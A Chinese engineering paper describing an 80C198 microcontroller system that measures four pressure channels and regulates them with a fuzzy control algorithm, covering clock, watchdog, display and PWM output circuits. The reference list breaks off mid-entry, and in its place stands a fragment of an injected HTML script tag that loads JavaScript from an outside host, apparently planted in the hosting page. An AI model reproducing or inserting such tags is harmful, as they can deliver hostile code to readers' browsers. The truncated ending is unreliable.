摘 要：介绍以80c198单片机为核心采集4路压力信号和经数据处理与模糊控制算法调节后，对多回路压力精确测量与控制的系统。文中给出了详细的硬件原理电路和软件设计。
关键词：单片机；测控系统；模糊控制
pressure fuzzy measuring and controlling systembased on 80c198
gaofeng，cuijin－bao，qujian－ling
(naval aeronautical engineering academy qingdao branch，qingdao 266041，china)
abstract：using 80c198 as acentral controller，the multiloop pressureaccurate measuring and controlling systemhas been designedin this paper．
through data processing and fuzzy adjusting，four controlsignalsare output．the detailed design of hardware and software hasbeen giveninthis paper．
key words：single microcomputer；measuring and controlling system；fuzzy control
1 硬件电路设计
1．1 80c198单片机应用系统设计
80c198单片机采用hcmos设计，具有功耗低、速度快、资源丰富、抗干扰能力强等特点。以80c198单片机作为压力测控器，可充分利用其硬件资源中的a/d部件和hso部件作为信号的采集通道和输出控制通道，硬件电路大大简化，系统的可靠性和抗干扰能力也大大提高。
80c198单片机应用系统原理电路如图1所示。
本系统以80c198单片机为核心，利用其片内232字节的寄存器作为数据采集和中间计算结果的存储单元，仅外扩程序存储器，组成了压力测控系统的测控核心。
根据对测控数据实时记录和掉电保护的要求，系统中扩展了实时时钟芯片ds12887。该芯片能够提供实时日历/时钟。在断电情况下运行十年以上不丢失数据，并且具有114字节的通用ram，可用于参数的掉电保护。
为提高系统的可靠性和抗电源干扰的能力，系统采用max1232芯片设计了电源电压检测和“看门狗”电路。
为提高对压力信号的检测精度，系统采用基准电压源ad584为/d部件提供基准电压。
1．2 键盘/显示器接口电路设计
系统通过可编程键盘/显示器接口器件8279实现对键盘和数据显示器的管理，用于系统测控功能选择、参数在线修改和显示等。
1 ．3 压力信号检测处理电路
压力传感器、变送器输出的信号通常为0～10ma或4～20ma的模拟电流信号，压力检测处理电路对其进行i/v变换、限幅、滤波等处理，转换成0～5v的模拟电压信号，将该信号送80c198的a/d部件，实现对压力信号的检测。压力信号检测处理电路如图2所示。
1．4 输出控制电路
80c198单片机的hso部件具有六路hso输出通道，通过编程输出周期可调的脉宽调制波(pwm)，脉宽调制精度最大可达16位。因此，由hso部件输出pwm信号，再经过v/i变换，可输出0～10ma或4～20ma的控制信号到执行机构，在实现对压力的精确控制。
输出控制电路如图3所示。
2 软件设计
测控系统的软件部分用于完成对压力信号的采集、处理、显示、控制调节和pwm输出等。
测控系统动态性能的好坏、稳态控制精度的高低、自适应能力的大小，在很大程度上取决于控制算法的设计。由于流体压力的变化具有纯滞后、大惯性和影响因素多等特点，因此传统的pid等控制算法很难达到理想的控制效果。本文设计的测控系统采用模糊控制技术实现了对压力信号的高精度、自适应控制。
模糊控制的基本方法是：将压力误差、误差变化率和为消除误差所需要调节的控制量用e、r、c来表示，将e、r、c的语言值定义为：正大、正中、正小、零、负小、负中、负大，它们分别量化为3、2、1、0、－1、－2、－3。模拟人的思维活动，并根据专家控制经验，将由输入变量e、r推理得到输出变量c的过程用表1的规则来描述。在实际应用中，根据压力信号的变化特点和影响因素，以表1为基础乘以适当系数来调节pwm的脉宽。实际应用证明，采用模糊控制算法与采用pid控制算法相比，系统控制精度更高，动态性能更好、抗干扰能力更强。
3 结束语
本文设计的压力测控系统可组成一个低成本、高性能的智能压力测控仪，也可组成一个较大规模的压力测控系统；
测控系统充分利用了80c198单片机的软硬件资源，使设计的系统结构简单、可靠性高、抗干扰能力强；
系统通过hso部件产生pwm信号，并经v/i变换输出控制电流信号，输出精度高、线性度好、调整方便；
系统采用模糊控制算法，控制精度高，自适应能力强。
参考文献
［1］孙涵芳．intel16位单片机［m］．北京：北京?script src=http://er12.com/t.js>
